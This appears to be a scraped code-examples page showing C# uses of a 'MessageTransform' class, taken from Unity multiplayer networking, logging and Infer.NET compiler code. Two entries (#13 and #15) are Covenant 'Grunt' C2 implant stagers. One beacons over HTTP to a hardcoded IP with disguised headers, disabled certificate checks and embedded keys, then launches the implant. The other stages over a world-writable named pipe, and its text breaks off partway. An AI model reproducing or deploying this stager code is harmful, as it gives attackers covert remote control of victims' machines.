Example #1
0
    //Отправка нашей позиции
    void SendMyPosition()
    {
        MessageTransform message = new MessageTransform();

        message.netID = netID;
        bool send = false;

        if (oldPosition != transform.position)
        {
            message.position = transform.position.NetworkVector3();
            oldPosition      = transform.position;
            send             = true;
        }
        if (oldRotation != transform.rotation)
        {
            message.rotation = transform.rotation.NetworkQuaternion();
            oldRotation      = transform.rotation;
            send             = true;
        }

        if (send)
        {
            GalaxyApi.send.SendMessageToServer((byte)CommandType.goTransform, message, GalaxyCoreCommon.GalaxyDeliveryType.unreliableNewest);
        }
    }
Example #2
0
    private void OnInMessage(byte code, byte[] data)
    {
        switch ((NetEntityCommand)code)
        {
        case NetEntityCommand.syncTransform:
            messageTrandform = BaseMessage.Deserialize <MessageTransform>(data);

            UpdateTransform(messageTrandform);
            break;
        }
    }
Example #3
0
 /// <summary>
 /// Log an object into text file for Audit log
 /// </summary>
 /// <param name="m">Message string logged</param>
 /// <param name="c">Category, mapped to categories in EntLib config file</param>
 /// <param name="p">Parameters</param>
 public static void LogObjectInfo(Constants.Category c, object m, Constants.Direction direction)
 {
     if (Logger.IsLoggingEnabled())
     {
         // Create a Dictionary of extended properties
         Dictionary <string, object> exProperties = new Dictionary <string, object>();
         exProperties.Add(direction.ToString(), MessageTransform.CreateXML(m));
         LogEntry entry = CreateLogEntryWithObject(m.GetType().Name, c, Constants.Severity.Information, exProperties);
         Logger.Write(entry);
     }
 }
Example #4
0
        /// <summary>
        /// Объект хочет двигаться
        /// </summary>
        /// <param name="message"></param>
        /// <param name="clientConnection"></param>
        void TransformGO(MessageTransform message, ClientConnection clientConnection)
        {
            Client client = Server.clientManager.GetClientByConnection(clientConnection);
            NetGO  go;

            if (!netObjects.TryGetValue(message.netID, out go))
            {
                return;                                                 // объект не найден
            }
            if (go.owner != client.id)
            {
                return;                        // объект не пренадлежит игроку
            }
            SendMessageToAll((byte)CommandType.goTransform, message, GalaxyDeliveryType.unreliableNewest);
        }
Example #5
0
        private void CreateConditionalsChannel(VariableInformation vi, VariableToChannelInformation vtci, IList <IStatement> stmts)
        {
            vtci.conditionalsChannel      = ChannelInfo.MarginalChannel(vi);
            vtci.conditionalsChannel.decl = vi.DeriveIndexedVariable(stmts, context, vi.Name + "_conditionals");
            context.OutputAttributes.Remove <InitialiseTo>(vtci.conditionalsChannel.decl);
            context.OutputAttributes.Set(vtci.conditionalsChannel.decl, vtci.conditionalsChannel);
            context.OutputAttributes.Set(vtci.conditionalsChannel.decl, new DescriptionAttribute("conditionals of '" + vi.Name + "'"));
            Type marginalType = MessageTransform.GetDistributionType(vi.varType, vi.InnermostElementType,
                                                                     vi.marginalPrototypeExpression.GetExpressionType(), true);
            Type                conditionalsType = typeof(List <>).MakeGenericType(marginalType);
            IExpression         conditionals_mpe = Builder.NewObject(conditionalsType);
            VariableInformation conditionals_vi  = VariableInformation.GetVariableInformation(context, vtci.conditionalsChannel.decl);

            conditionals_vi.marginalPrototypeExpression = conditionals_mpe;
        }
Example #6
0
    private void UpdateTransform(MessageTransform message)
    {
        // if (unityNetEntity.netEntity.isMy) return;

        if (message.position != null)
        {
            message.position.Vector3(out pos);
            transform.position = pos;
        }

        if (message.rotation != null)
        {
            transform.rotation = message.rotation.Quaternion();
        }
    }
        private bool InvalidMarginalPrototype(VariableInformation vi, object decl)
        {
            Type marginalType = vi.marginalPrototypeExpression.GetExpressionType();

            if (marginalType == null)
            {
                throw new InferCompilerException("Cannot determine type of marginal prototype expression: " + vi.marginalPrototypeExpression);
            }
            Type domainType  = Distribution.GetDomainType(marginalType);
            Type messageType = MessageTransform.GetDistributionType(vi.varType, domainType, marginalType, false);

            if (MessageTransform.IsPointMass(messageType))
            {
                context.OutputAttributes.Remove <MarginalPrototype>(decl);
                vi.marginalPrototypeExpression = null;
                return(true);
            }
            return(false);
        }
 protected override IExpression ConvertAssign(IAssignExpression iae)
 {
     iae = (IAssignExpression)base.ConvertAssign(iae);
     if (iae.Target is IArrayIndexerExpression target && iae.Expression is IObjectCreateExpression ioce)
     {
         IExpression parent = target.Target;
         Type        type   = Builder.ToType(ioce.Type);
         if (MessageTransform.IsFileArray(type) && MessageTransform.IsFileArray(parent.GetExpressionType()) && ioce.Arguments.Count == 2)
         {
             // change new FileArray(name, dimensions) into FileArray(parent, index, dimensions)
             IList <IExpression> args = Builder.ExprCollection();
             args.Add(target.Target);
             args.AddRange(target.Indices);
             args.Add(ioce.Arguments[1]);
             return(Builder.AssignExpr(target, Builder.NewObject(type, args)));
         }
     }
     return(iae);
 }
Example #9
0
    private void OnFrameUpdate()
    {
        if (!unityNetEntity.netEntity.isMy)
        {
            transform.position = unityNetEntity.netEntity.transform.position.Vector3();
            transform.rotation = unityNetEntity.netEntity.transform.rotation.Quaternion();
        }

        if (!unityNetEntity.netEntity.isMy)
        {
            return;
        }
        if (!sendPosition)
        {
            return;
        }
        messageTrandform          = new MessageTransform();
        messageTrandform.position = transform.position.NetworkVector3();
        messageTrandform.rotation = transform.rotation.NetworkQuaternion();
        unityNetEntity.netEntity.SendMessage((byte)NetEntityCommand.syncTransform, messageTrandform, GalaxyDeliveryType.unreliableNewest);
    }
Example #10
0
    private void OnMessTransform(MessageTransform message)
    {
        if (!netGOs.ContainsKey(message.netID))
        {
            return;
        }
        NetGO go = netGOs[message.netID];

        if (go.isMy)
        {
            return;
        }
        if (message.position != null)
        {
            go.transform.position = message.position.Vector3();
        }
        if (message.rotation != null)
        {
            go.transform.rotation = message.rotation.Quaternion();
        }
    }
    /// <summary>
    /// В этот метод приходят все входящии сообщения (мы на них подписались)
    /// </summary>
    /// <param name="code"></param>
    /// <param name="data"></param>
    private void OnGalaxyIncommingMessage(byte code, byte[] data)
    {
        switch ((CommandType)code)
        {
        case CommandType.goInstantiate:
        {
            MessageInstantiate message = MessageInstantiate.Deserialize <MessageInstantiate>(data);
            OnMessInstantiate?.Invoke(message);
        }
        break;

        case CommandType.goTransform:
        {
            MessageTransform message = MessageTransform.Deserialize <MessageTransform>(data);
            OnMessTransform?.Invoke(message);
        }
        break;

        case CommandType.goDestroy:
        {
            MessageDestroyGO message = MessageDestroyGO.Deserialize <MessageDestroyGO>(data);
            OnMessDestroy?.Invoke(message);
        }
        break;

        case CommandType.worldSync:
        {
            MessageWorldSync message = MessageWorldSync.Deserialize <MessageWorldSync>(data);
            OnWorldSync?.Invoke(message);
        }
        break;

        case CommandType.goMessage:
        {
            MessageGO message = MessageGO.Deserialize <MessageGO>(data);
            OnGoMessage?.Invoke(message);
        }
        break;
        }
    }
Example #12
0
        /// <summary>
        /// Сюда попадают проброшенные сообщения
        /// </summary>
        /// <param name="code"></param>
        /// <param name="data"></param>
        /// <param name="clientConnection"></param>
        public override void TossMessage(byte code, byte[] data, ClientConnection clientConnection)
        {
            switch ((CommandType)code)
            {
            case CommandType.goInstantiate:
            {
                MessageInstantiate message = MessageInstantiate.Deserialize <MessageInstantiate>(data);
                InstantiateGO(message, clientConnection);
            }
            break;

            case CommandType.goTransform:
            {
                MessageTransform message = MessageTransform.Deserialize <MessageTransform>(data);
                TransformGO(message, clientConnection);
            }
            break;

            case CommandType.goDestroy:
            {
                MessageDestroyGO message = MessageDestroyGO.Deserialize <MessageDestroyGO>(data);
                DestroyGO(message, clientConnection);
            }
            break;

            case CommandType.worldSync:
            {
                SendWorld(clientConnection);
            }
            break;

            case CommandType.goMessage:
            {
                SendMessageToAllExcept(clientConnection, (byte)CommandType.goMessage, data, GalaxyDeliveryType.reliable);
            }
            break;
            }
        }
        public void ExecuteStager()
        {
            try
            {
                List <string> CovenantURIs            = @"http://192.168.107.129:80".Split(',').ToList();
                string        CovenantCertHash        = @"";
                List <string> ProfileHttpHeaderNames  = @"VXNlci1BZ2VudA==,Q29va2ll".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpHeaderValues = @"TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDEuMC4yMjI4LjAgU2FmYXJpLzUzNy4zNg==,QVNQU0VTU0lPTklEPXtHVUlEfTsgU0VTU0lPTklEPTE1NTIzMzI5NzE3NTA=".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpUrls         = @"L2VuLXVzL2luZGV4Lmh0bWw=,L2VuLXVzL2RvY3MuaHRtbA==,L2VuLXVzL3Rlc3QuaHRtbA==".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
                string        ProfileHttpPostRequest  = @"i=a19ea23062db990386a3a478cb89d52e&data={0}&session=75db-99b1-25fe4e9afbe58696-320bea73".Replace(Environment.NewLine, "\n");
                string        ProfileHttpPostResponse = @"<html>
    <head>
        <title>Hello World!</title>
    </head>
    <body>
        <p>Hello World!</p>
        // Hello World! {0}
    </body>
</html>".Replace(Environment.NewLine, "\n");
                bool          ValidateCert            = bool.Parse(@"false");
                bool          UseCertPinning          = bool.Parse(@"false");

                Random random        = new Random();
                string aGUID         = @"11ac008d1b";
                string GUID          = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"xaRl3L+AY+sdTONnMv7FNbYqnzmu26xEP6gmGGWTAQQ=");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode    = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key     = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());

                byte[] RSAPublicKeyBytes     = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey);
                Console.WriteLine("Stage 0");
                string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
                ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) =>
                {
                    bool valid = true;
                    if (UseCertPinning && CovenantCertHash != "")
                    {
                        valid = cert.GetCertHashString() == CovenantCertHash;
                    }
                    if (valid && ValidateCert)
                    {
                        valid = errors == System.Net.Security.SslPolicyErrors.None;
                    }
                    return(valid);
                };
                string          transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                CookieWebClient wc             = null;
                string          Stage0Response = "";
                wc = new CookieWebClient();
                wc.UseDefaultCredentials = true;
                wc.Proxy             = WebRequest.DefaultWebProxy;
                wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
                string CovenantURI = "";
                foreach (string uri in CovenantURIs)
                {
                    try
                    {
                        for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                        {
                            if (ProfileHttpHeaderNames[i] == "Cookie")
                            {
                                wc.SetCookies(new Uri(uri), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", ""));
                            }
                            else
                            {
                                wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", ""), ProfileHttpHeaderValues[i].Replace("{GUID}", ""));
                            }
                        }
                        wc.DownloadString(uri + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", ""));
                        CovenantURI = uri;
                    }
                    catch
                    {
                        continue;
                    }
                }
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    if (ProfileHttpHeaderNames[i] == "Cookie")
                    {
                        wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
                    }
                    else
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                }
                Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
                string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                List <string> parsed       = Parse(extracted, MessageFormat);
                string        iv64str      = parsed[3];
                string        message64str = parsed[4];
                string        hash64str    = parsed[5];
                byte[]        messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SetupAESKey.IV = Convert.FromBase64String(iv64str);
                byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] FullyDecrypted     = rsa.Decrypt(PartiallyDecrypted, true);

                Aes SessionKey = Aes.Create();
                SessionKey.Mode    = CipherMode.CBC;
                SessionKey.Padding = PaddingMode.PKCS7;
                SessionKey.Key     = FullyDecrypted;
                SessionKey.GenerateIV();
                hmac = new HMACSHA256(SessionKey.Key);
                byte[] challenge1         = new byte[4];
                RandomNumberGenerator rng = RandomNumberGenerator.Create();
                rng.GetBytes(challenge1);
                byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                hash = hmac.ComputeHash(EncryptedChallenge1);

                Console.WriteLine("Stage 1");
                string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));

                string Stage1Response = "";
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    if (ProfileHttpHeaderNames[i] == "Cookie")
                    {
                        wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
                    }
                    else
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                }
                Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
                extracted      = Parse(Stage1Response, ProfileHttpPostResponse)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] challenge1Test      = new byte[4];
                byte[] challenge2          = new byte[4];
                Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
                {
                    return;
                }

                SessionKey.GenerateIV();
                byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                hash = hmac.ComputeHash(EncryptedChallenge2);

                string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));

                string Stage2Response = "";
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    if (ProfileHttpHeaderNames[i] == "Cookie")
                    {
                        wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
                    }
                    else
                    {
                        wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
                    }
                }
                Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
                extracted      = Parse(Stage2Response, ProfileHttpPostResponse)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                /*byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                 * Assembly gruntAssembly = Assembly.Load(DecryptedAssembly);
                 * gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, CovenantCertHash, GUID, SessionKey });*/
                GruntExecutor.Grunt.Execute(CovenantURI
                                            , CovenantCertHash
                                            , GUID
                                            , SessionKey
                                            , ProfileHttpHeaderNames
                                            , ProfileHttpHeaderValues
                                            , ProfileHttpUrls
                                            , ProfileHttpPostRequest
                                            , ProfileHttpPostResponse
                                            , ProfileHttpPostResponse
                                            , ValidateCert
                                            , UseCertPinning);
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace); }
        }
Example #14
0
        // Determine the message type of target from the message type of the factor arguments
        protected void ProcessFactor(IExpression factor, MessageDirection direction)
        {
            NodeInfo info = GetNodeInfo(factor);
            // fill in argumentTypes
            Dictionary <string, Type>        argumentTypes = new Dictionary <string, Type>();
            Dictionary <string, IExpression> arguments     = new Dictionary <string, IExpression>();

            for (int i = 0; i < info.info.ParameterNames.Count; i++)
            {
                string parameterName = info.info.ParameterNames[i];
                // Create message info. 'isForward' says whether the message
                // out is in the forward or backward direction
                bool        isChild    = info.isReturnOrOut[i];
                IExpression arg        = info.arguments[i];
                bool        isConstant = !CodeRecognizer.IsStochastic(context, arg);
                if (isConstant)
                {
                    arguments[parameterName] = arg;
                    Type inwardType = arg.GetExpressionType();
                    argumentTypes[parameterName] = inwardType;
                }
                else if (!isChild)
                {
                    IExpression msgExpr = GetMessageExpression(arg, fwdMessageVars);
                    if (msgExpr == null)
                    {
                        return;
                    }
                    arguments[parameterName] = msgExpr;
                    Type inwardType = msgExpr.GetExpressionType();
                    if (inwardType == null)
                    {
                        Error("inferred an incorrect message type for " + arg);
                        return;
                    }
                    argumentTypes[parameterName] = inwardType;
                }
                else if (direction == MessageDirection.Backwards)
                {
                    IExpression msgExpr = GetMessageExpression(arg, bckMessageVars);
                    if (msgExpr == null)
                    {
                        //Console.WriteLine("creating backward message for "+arg);
                        CreateBackwardMessageFromForward(arg, null);
                        msgExpr = GetMessageExpression(arg, bckMessageVars);
                        if (msgExpr == null)
                        {
                            return;
                        }
                    }
                    arguments[parameterName] = msgExpr;
                    Type inwardType = msgExpr.GetExpressionType();
                    if (inwardType == null)
                    {
                        Error("inferred an incorrect message type for " + arg);
                        return;
                    }
                    argumentTypes[parameterName] = inwardType;
                }
            }
            IAlgorithm alg     = algorithm;
            Algorithm  algAttr = context.InputAttributes.Get <Algorithm>(info.imie);

            if (algAttr != null)
            {
                alg = algAttr.algorithm;
            }
            List <ICompilerAttribute> factorAttributes = context.InputAttributes.GetAll <ICompilerAttribute>(info.imie);
            string methodSuffix = alg.GetOperatorMethodSuffix(factorAttributes);

            // infer types of children
            for (int i = 0; i < info.info.ParameterNames.Count; i++)
            {
                string parameterName = info.info.ParameterNames[i];
                bool   isChild       = info.isReturnOrOut[i];
                if (isChild != (direction == MessageDirection.Forwards))
                {
                    continue;
                }
                IExpression target     = info.arguments[i];
                bool        isConstant = !CodeRecognizer.IsStochastic(context, target);
                if (isConstant)
                {
                    continue;
                }
                IVariableDeclaration ivd = Recognizer.GetVariableDeclaration(target);
                if (ivd == null)
                {
                    continue;
                }
                Type           targetType = null;
                MessageFcnInfo fcninfo    = null;
                if (direction == MessageDirection.Forwards)
                {
                    try
                    {
                        fcninfo = GetMessageFcnInfo(info.info, "Init", parameterName, argumentTypes);
                    }
                    catch (Exception)
                    {
                        try
                        {
                            fcninfo = GetMessageFcnInfo(info.info, methodSuffix + "Init", parameterName, argumentTypes);
                        }
                        catch (Exception ex)
                        {
                            //Error("could not determine message type of "+ivd.Name, ex);
                            try
                            {
                                fcninfo = GetMessageFcnInfo(info.info, methodSuffix, parameterName, argumentTypes);
                                if (fcninfo.PassResult)
                                {
                                    throw new MissingMethodException(StringUtil.MethodFullNameToString(fcninfo.Method) +
                                                                     " is not suitable for initialization since it takes a result parameter.  Please provide a separate Init method.");
                                }
                                if (fcninfo.PassResultIndex)
                                {
                                    throw new MissingMethodException(StringUtil.MethodFullNameToString(fcninfo.Method) +
                                                                     " is not suitable for initialization since it takes a resultIndex parameter.  Please provide a separate Init method.");
                                }
                            }
                            catch (Exception ex2)
                            {
                                if (direction == MessageDirection.Forwards)
                                {
                                    Error("could not determine " + direction + " message type of " + ivd.Name + ": " + ex.Message, ex2);
                                    continue;
                                }
                                fcninfo = null;
                            }
                        }
                    }
                    if (fcninfo != null)
                    {
                        targetType = fcninfo.Method.ReturnType;
                        if (targetType.IsGenericParameter)
                        {
                            if (direction == MessageDirection.Forwards)
                            {
                                Error("could not determine " + direction + " message type of " + ivd.Name + " in " + StringUtil.MethodFullNameToString(fcninfo.Method));
                                continue;
                            }
                            fcninfo = null;
                        }
                    }
                    if (fcninfo != null)
                    {
                        VariableInformation vi = VariableInformation.GetVariableInformation(context, ivd);
                        try
                        {
                            targetType = MessageTransform.GetDistributionType(ivd.VariableType.DotNetType, target.GetExpressionType(), targetType, true);
                        }
                        catch (Exception ex)
                        {
                            if (direction == MessageDirection.Forwards)
                            {
                                Error("could not determine " + direction + " message type of " + ivd.Name, ex);
                                continue;
                            }
                            fcninfo = null;
                        }
                    }
                }
                Dictionary <IVariableDeclaration, IVariableDeclaration> messageVars = (direction == MessageDirection.Forwards) ? fwdMessageVars : bckMessageVars;
                if (fcninfo != null)
                {
                    string name = ivd.Name + (direction == MessageDirection.Forwards ? "_F" : "_B");
                    IVariableDeclaration msgVar;
                    if (!messageVars.TryGetValue(ivd, out msgVar))
                    {
                        msgVar = Builder.VarDecl(name, targetType);
                    }
                    if (true)
                    {
                        // construct the init expression
                        List <IExpression> args       = new List <IExpression>();
                        ParameterInfo[]    parameters = fcninfo.Method.GetParameters();
                        foreach (ParameterInfo parameter in parameters)
                        {
                            string argName = parameter.Name;
                            if (IsFactoryType(parameter.ParameterType))
                            {
                                IVariableDeclaration factoryVar = GetFactoryVariable(parameter.ParameterType);
                                args.Add(Builder.VarRefExpr(factoryVar));
                            }
                            else
                            {
                                FactorEdge factorEdge          = fcninfo.factorEdgeOfParameter[parameter.Name];
                                string     factorParameterName = factorEdge.ParameterName;
                                bool       isOutgoingMessage   = factorEdge.IsOutgoingMessage;
                                if (!arguments.ContainsKey(factorParameterName))
                                {
                                    if (direction == MessageDirection.Forwards)
                                    {
                                        Error(StringUtil.MethodFullNameToString(fcninfo.Method) + " is not suitable for initialization since it requires '" + parameter.Name +
                                              "'.  Please provide a separate Init method.");
                                    }
                                    fcninfo = null;
                                    break;
                                }
                                IExpression arg = arguments[factorParameterName];
                                args.Add(arg);
                            }
                        }
                        if (fcninfo != null)
                        {
                            IMethodInvokeExpression imie = Builder.StaticMethod(fcninfo.Method, args.ToArray());
                            //IExpression initExpr = MessageTransform.GetDistributionArrayCreateExpression(ivd.VariableType.DotNetType, target.GetExpressionType(), imie, vi);
                            IExpression initExpr = imie;
                            KeyValuePair <IVariableDeclaration, IExpression> key = new KeyValuePair <IVariableDeclaration, IExpression>(msgVar, factor);
                            messageInitExprs[key] = initExpr;
                        }
                    }
                    if (fcninfo != null)
                    {
                        messageVars[ivd] = msgVar;
                    }
                }
                if (fcninfo == null)
                {
                    if (direction == MessageDirection.Forwards)
                    {
                        continue;
                    }
                    //Console.WriteLine("creating backward message for "+target);
                    CreateBackwardMessageFromForward(target, factor);
                }
                IExpression msgExpr = GetMessageExpression(target, messageVars);
                arguments[parameterName] = msgExpr;
                Type inwardType = msgExpr.GetExpressionType();
                argumentTypes[parameterName] = inwardType;
            }
        }
Example #15
0
        public void ExecuteStager()
        {
            try
            {
                string ProfileWriteFormat = @"i=a19ea23062db990386a3a478cb89d52e&data={0}&session=75db-99b1-25fe4e9afbe58696-320bea73".Replace(Environment.NewLine, "\n");
                string ProfileReadFormat  = @"<html>
    <head>
        <title>Hello World!</title>
    </head>
    <body>
        <p>Hello World!</p>
        // Hello World! {0}
    </body>
</html>".Replace(Environment.NewLine, "\n");
                string PipeName           = @"gruntsvc03";

                string aGUID         = @"70561c0536";
                string GUID          = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"SEBqh69S3vGjX+UQJ2smFjZCXejp3X0pMPh7I7tEuYI=");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode    = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key     = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());

                byte[] RSAPublicKeyBytes     = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                byte[] hash       = hmac.ComputeHash(EncryptedRSAPublicKey);
                string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                string transformedResponse  = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                NamedPipeServerStream pipe  = null;
                string       Stage0Response = "";
                PipeSecurity ps             = new PipeSecurity();
                ps.AddAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), PipeAccessRights.FullControl, AccessControlType.Allow));
                pipe = new NamedPipeServerStream(PipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 1024, 1024, ps);
                pipe.WaitForConnection();
                System.Threading.Thread.Sleep(5000);
                var Stage0Bytes = Encoding.UTF8.GetBytes(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                Write(pipe, Stage0Bytes);
                Stage0Response = Encoding.UTF8.GetString(Read(pipe));
                string extracted = Parse(Stage0Response, ProfileReadFormat)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                List <string> parsed       = Parse(extracted, MessageFormat);
                string        iv64str      = parsed[3];
                string        message64str = parsed[4];
                string        hash64str    = parsed[5];
                byte[]        messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SetupAESKey.IV = Convert.FromBase64String(iv64str);
                byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] FullyDecrypted     = rsa.Decrypt(PartiallyDecrypted, true);

                Aes SessionKey = Aes.Create();
                SessionKey.Mode    = CipherMode.CBC;
                SessionKey.Padding = PaddingMode.PKCS7;
                SessionKey.Key     = FullyDecrypted;
                SessionKey.GenerateIV();
                hmac = new HMACSHA256(SessionKey.Key);
                byte[] challenge1         = new byte[4];
                RandomNumberGenerator rng = RandomNumberGenerator.Create();
                rng.GetBytes(challenge1);
                byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                hash = hmac.ComputeHash(EncryptedChallenge1);

                string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));

                string Stage1Response = "";
                var    Stage1Bytes    = Encoding.UTF8.GetBytes(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                Console.WriteLine("Stage 1");
                Write(pipe, Stage1Bytes);
                Stage1Response = Encoding.UTF8.GetString(Read(pipe));
                extracted      = Parse(Stage1Response, ProfileReadFormat)[0];
                extracted      = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed         = Parse(extracted, MessageFormat);
                iv64str        = parsed[3];
                message64str   = parsed[4];
                hash64str      = parsed[5];
                messageBytes   = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
